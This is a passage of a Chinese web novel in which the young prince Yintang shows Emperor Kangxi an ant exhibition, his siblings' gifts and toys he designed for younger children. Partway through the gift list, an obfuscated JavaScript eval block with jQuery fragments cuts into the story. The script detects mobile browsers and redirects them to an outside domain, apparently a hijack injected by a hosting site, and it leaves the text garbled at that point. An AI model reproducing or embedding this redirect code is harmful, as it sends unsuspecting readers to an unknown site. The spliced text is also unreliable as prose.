虽然这东西随处可见,但是从来没有这么仔细瞧过。 噶鲁想着,哪天得着造办处来看看,这才叫细致! 梁九功也觉得津津有味,听九阿哥介绍,这蚂蚁分了兵蚁、工蚁,还有专门照看蚂蚁宝宝的,可不和人一样么,当真稀奇。 也不知道九阿哥从哪儿听来这许多新鲜事,都和那些洋大人有得一比。 平日来的都是小孩儿,因此蚂蚁模型放置得较低。 康熙也不计较,躬着腰伸着脖子来回看了几遍,只觉得惟妙惟肖,忍不住伸手去碰蚂蚁腿上的刚毛,想试试是否锋利。 胤禟介绍蚂蚁各部位的话头一顿。 门口摆放的硕大的“请勿触碰”四个字,真没看见是吧? 碰坏了你赔哦。 不过他也不敢当着这么多人,拂了康熙的面子。 一个虎头虎脑的声音忽地响起:“汗阿玛,这个模型不能碰。” 钮钴禄氏赶忙捂住了胤俄的嘴巴。 这孩子,怎么什么大实话都往外说呢。 胤禟心里默默给胤俄点了一个赞。 接着,他就收到了康熙抛来的一个询问的眼神。 胤俄这个实心眼的小胖子哪知道这么多,这破规矩肯定是有人背后定下的,只是想来没有特别注明“皇帝例外”。 看出康熙眼神意味的胤禟:…… “咳,”胤禟咽了口口水,伸出小手拉住康熙的袖口,眨眨眼睛,摆出一副无辜的模样:“汗阿玛,这个模型才刚刷过一遍桐油,怕还没干透呢。” “咦,没……”钮钴禄氏刚刚松开胤俄的嘴巴,又立即捂上了。 康熙挑了挑眉:“哦。” 看吧,小东西心眼子多着呢。什么桐油,这屋里一点儿桐油味道也没有。再说,哪有大冬天刷桐油的? 不过他也没打算拆穿,而是抬头看向蚂蚁模型上方挂着的画。画上画了一只大蚂蚁,旁边还有对蚂蚁每个部位的标注。 这字康熙认得,是老四的。 虽然是毛笔画,但也借鉴了一些西洋画的风格,对蚂蚁的比例刻画得十分到位。 有了太子的不务正业在前,康熙此时也不好说胤禛些什么。 只道这一个两个正经儿子,都被小九这个不正经小子带坏了。 至于那蚂蚁模型,胤禟这小东西才三岁,肯定做不出来。 倒不知道他还有哪个儿子有这等好手艺。 康熙懒得去猜这些小事:“这个模型是谁做的?” “我、我,”一个小身影从后头拱到了前面,声音嘹亮到吓了康熙一跳:“汗阿玛,是儿子做的!” 还不待康熙发话,胤祺兴冲冲地挺起小胸脯,面色因为高兴而微微发红:“汗阿玛,儿子做得好不好?” 好不好?你还是关心关心自己汉文好不好吧。 不过这话康熙没说出口。 大概是因为最后那句话,让他觉得实在耳熟。 感觉老五逐渐小九化的康熙微微抽了抽嘴角:“不错。” 得到了汗阿玛表扬的胤祺,兴奋地搓了搓小手。 汗阿玛除了念叨自己汉文不行,还是挺会夸人的嘛。回头要把自己得到了汗阿玛表扬的事情告诉皇玛嬷,皇玛嬷肯定也会很高兴的。 完全不知道康熙内心复杂活动的胤祺想着。 再往前走,便是胤禟的蚂蚁观察箱。 康熙打量着这个没盖的玻璃盒子,里头蚂蚁巢穴剖面一览无遗。 蚂蚁的巢穴内部竟然是这副模样? 他当然读过“千里之堤溃于蚁穴”,也听人说过蚂蚁巢穴通道纵横交错,当时只不过是当作奇闻来听,却没料到,这土穴内部竟然是如此复杂幽微,又分明有序。 蚂蚁观察箱的上方也悬挂了大图,画的是蚂蚁巢穴的横剖面,里面注明了每个蚁室的名称和作用。 噶鲁看得仔细,忍不住连连点头:“原来如此”。 内务府负责皇宫造办,因此他对这些工程类的事物特别留心。 今日见了这示意图,一边感叹造物神奇,一边终于明白,这些蚂蚁行迹特别,是因为他们的生存本能所致,和什么朝代兴衰一点儿关系也没有。 而且,根本不是像流言说的,什么九条道、每道还有五室,这蚁穴地道蜿蜒纵横,哪里有那么简单。 回头,他一定得好好把那些嚼舌根的宫人整治整治。 康熙也听见了噶鲁的感叹,一眼扫了过去,哼道:“什么原来如此?” 噶鲁忙上前恭敬道:“是奴才愚钝,奴才回去后便立即整治那些乱嚼舌根的宫人。” 康熙心底闪过一道微妙的畅快。 居然敢怀疑朕的儿子,这下知道自己是井底之蛙了吧? 这对话被胤禟听见,不明所以。 在他不解的眼神里,一只大手轻轻拍了拍他的小脑袋,语气里饱含着轻松畅快:“走吧。” 正式的展览其实到此为止。但对面还放了一排桌子,上面每隔一段距离摆了一排小东西,每样东西前面还放了块小牌子。 康熙踱步过去。 第一个是个蚂蚁形状的布娃娃,前面小牌子写着“五格格赠”。 第二个是一对铁制的仿蚂蚁大颚兵器,不过边缘没有开刃,小牌子写着“阿舒默尔根赠”。 康熙心里浮现出阿舒默尔根赠礼时屁颠屁颠的模样,忍不住哼了一声。 这老小子,给徒弟捧场倒是积极。怪不得前段日子一到放课时间人影就跑没了,原来是在忙这个。 以前生辰的时候,也不见他认真做出个什么东西来送给自己。 莫名心里有些发酸。 第三个是一张丝帕,上面绣了一群蚂蚁在搬树叶,活泼可爱,足以看出女红之人的心灵手巧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463889|184446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小牌子上写着“二格格赠。” 第四个是一枚闲章,手持处雕了一只立体的蚂蚁,背上还背了一粒大米,精致可爱,是胤禩送的。 …… 这些儿女的名字,在这个小小的屋子里,聚得比年节的宫中大宴上还要齐些。 呵,倒是从未见过他们读书这般上心。 如果此时手旁边有个小本本,康熙一定会把这里所有人的名字记下来,上了学的阿哥们统统默写《大学》三遍,没上学的阿哥格格们都去背诵《三字经》。 不过既然没有小本本,那就算了。 康熙在心里默默算了算,几乎宫里两岁以上的孩子,在这里都有名有姓的。 哦,除了胤禔。 但胤褆就算没来,读书也不上心。 康熙不禁看了一眼噶鲁。 朕好好的一个儿子,怎么送到你府上几年,回来就这般不爱读书了? 倒是浑然忘了胤褆打小别说读书,就是连故事也不耐烦听。 噶鲁正兴致勃勃地看着小皇子小格格们的赠礼,想着回去还是得劝劝头铁的大阿哥,明明也很想来的,就别发犟脾气了,忽然感觉脖子背后一凉。 他赶紧回头,就看见康熙有些不满地盯着自己。 这是怎么了? 好在康熙瞪了他一眼,就移开了视线。 噶鲁摸了摸发凉的后颈,并不知道自己莫名就背了一口大锅。 在陈列最末,有一个半人高的小架子,上面放了好些小玩意儿。 康熙随手拿起一样东西看了看。 薄薄一块木头板子,用外框框着,里头是一副彩绘的鱼戏莲叶图。 图板被切割成了一个个大小接近的方块,每个方块按照位置不同,两至四条边上各有一个凹陷或凸起,使每块木块严丝合缝的拼接在一起,看着有些像建筑的榫卯结构。 康熙拿在手里敲了敲:“这是什么?” 一直跟在康熙身边的胤禟道:“汗阿玛,这叫拼图。” “拼图?” 胤禟踮起脚拿了另一块拼图,上头绘着后羿射日的图案。 小手利索地将方块一一拆下,又拼回去:“这是儿子设计的一些玩具,可以以后给弟弟妹妹们玩。” 康熙的神色越发和蔼。 设计挺用心的不提,这孩子倒是重亲情。 如今这宫里,阿哥格格们之间大多往来不多,像胤禟这般不仅顾念着交情好的兄弟,还想着连面也没见过的弟弟妹妹,实属难得。 如果胤禟能听到他的心声,高低得吐槽一句造成兄弟不亲局面的始作俑者还不是他自己。 “这个呢?”康熙又指了指一个小箱子。上面挖了方形、圆形、椭圆形、星形等各种形状的洞,洞口边缘都打磨得十分光滑,一点也不割手。 胤禟将小箱子转过来,打开背面的小门。 箱子里面放了方形、星形、圆形等各种形状的小木块。胤禟随手抓了一个椭圆形木块,对准盒面椭圆形的洞口放了进去,大小刚好能落入洞里。 “这个叫配对箱,也是给弟弟妹妹们准备的。” 积木配对,既能锻炼婴幼儿手眼协调能力,还能练习手部精细动作,有助于大脑发育,比起成天被宫人抱在怀里待在屋子里发呆,可有益多了。 还有过家家的玩具厨房、惟妙惟肖的小动物模型、神话人物的卡通手偶…… 康熙虽然不清楚这些看起来稀奇古怪的玩具的准确功能,但直觉告诉他,这些玩具看似是孩童嬉闹,实则有利于孩子成长。 康熙心下一动,转头看向胤禟。 小团子正挺着小胸脯,颇为自豪地打量着小架子上的玩具,漂亮的大眼睛闪着光,就像一只小狮子逡巡着自己辛苦赢来的领地。 真是可爱极了。 他忍不住伸手捏了捏小团子圆鼓鼓的小脸蛋。